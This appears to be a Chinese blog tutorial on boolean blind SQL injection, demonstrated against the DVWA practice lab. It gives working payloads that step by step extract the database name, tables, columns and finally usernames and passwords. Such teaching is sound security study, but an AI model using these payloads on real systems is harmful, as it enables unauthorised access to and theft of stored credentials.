赞
踩
首先说下Sql盲注和Sql注入的区别:
盲注:获得不了过多的信息,没有详细内容;
普通注入:可以通过较为详细的内容来分析;
盲注概述:在sql注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或者尝试,这个过程称为盲注。
盲注一般分为三种:
布尔盲注:页面只返回对或者错,存在或者不存在来判断
基于时间的盲注:通过页面沉睡时间来判断
报错的盲注:输入特定的语句使页面报错,网页回输出相关的错误信息;从而是我们想要的基本信息;
今天主要讲布尔盲注及其简单演示;
布尔盲注:(目的:理解过程和原理然后尝试去写脚本)
基本思路和步骤:
使用场景:(今天盲注所要用到的sql条件语句)
基于布尔值的盲注;
1' and length(database())=1 #(数据库长度是否为1)
1' and ascii(substr(database(),1,1))>97 #(截取数据库名第一个字的ASCII值是否大于97)
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=1 #(统计dvwa库中是否有1个表)
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=1 #(dvwa库第一个表的长度是否为1)
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))>97 #(dvwa库中第一个表的第一个字符的ASCII值)
1' and (select count(column_name) from information_schema.columns where table_name='users')=1 #(users表中是否有一个字段名)
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 #(users表中第一个字段名的长度是否为1)
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))>97 #(users表中第一个字段名的第一个字符的ASCII吗值是否大于97)
1' and (ascii(substr((select user from users limit 0,1),1,1)))=97#(users表中的user字段的第一个字母的ASCII值是否为97)
SQL盲注简单演示(基于PHP study数据库条件之下)
在做演示之前先打开low级别盲注的源码帮助我们理解
可看出返回值只有存在和不存在,可以简单判断为布尔盲注;
依次输入1,2,3,4,5,6,(我只放了两截图)
当输入6的时候返回值为missing,我们可以大概猜测出大概率为布尔盲注,因为返回值只有存在和不存在,
现在判断是否有注入点且分析为字符型还是数字型
输入1’
输出结果为不存在,证明’已经拼接进去,且说明存在注入点,并且注入点就在1’后边的位置,现在进一步判断是字符型注入还是数字型注入
输入1’ and ‘1’=’1
可以看出返回结果为存在,可以确定为字符型注入(不够确定可以输入1’ and ‘1’=’2 看结果)
输入1' and length(database())=1 #(条件可以自行设定等于大于小于,只要语法不出错)
可以看出库长度为4
然后猜解库名首字母
输入1' and ascii(substr(database(),1,1))>97 #(//将库名截取后转换为ASCII值来判断)(从这开始就用二分法一次次尝试 利用ASCII码值对应的字母来获得库名)
(我只显示部分ASCII对应表完整的可以百度)
经过多次判别ASCII为100时存在 首字母为d(因为截图太多我这只出结果图)
第二字母为v
第三字母为w
第四字母为a
由此得出库名dvwa
输入1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=1 #(//统计dvwa库中有几个表)
当数量为2时输出正确,则库中有两个表
现在输入1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=1 # (显示第一个表名的长度)(这时候可以以自己的逻辑解决表名,用length ascii等函数均可,方法不唯一)
现在可以得出第一个表为9个字符
第二个表为5个字符(这时侯我们就要对users(5)表password(8)表格外注意)
判断第二个表是不是为users表
输入1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))>97 #(来判断两个表的名字)
第二个表第一个字母为u
第二个表第二个字母为s
第三字母为e
第四字母为r
第五字母为s
则得出这第二表名为users
先猜解字段数量输入1' and (select count(column_name) from information_schema.columns where table_name='users')=1 #
经过无数次实验后得到字段名的数量为8
现在确定字段名的长度输入1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 #
利用这个语句最终得出第四个字段为4个长度 第五个字段为8个长度
现在我们对这两个字段名称进行破解
输入1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))>97 #
得到第一个字段名为user
中间由于截图太多就不过多演示最终得到第二个字段名为password
(五)猜解数据并得到数据;
输入1' and (ascii(substr((select user from users limit 0,1),1,1)))=97#
用来猜解user表中内容
。。。。。。等(我这边不过多演示,最终通过多演示得到user中的第一行admin)
同理输入1' and (ascii(substr((select password from users limit 0,1),1,1)))=97#
来得到密码
这里就不过多演示了
以上就是简单实验演示 和原理,希望大家多多指证!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。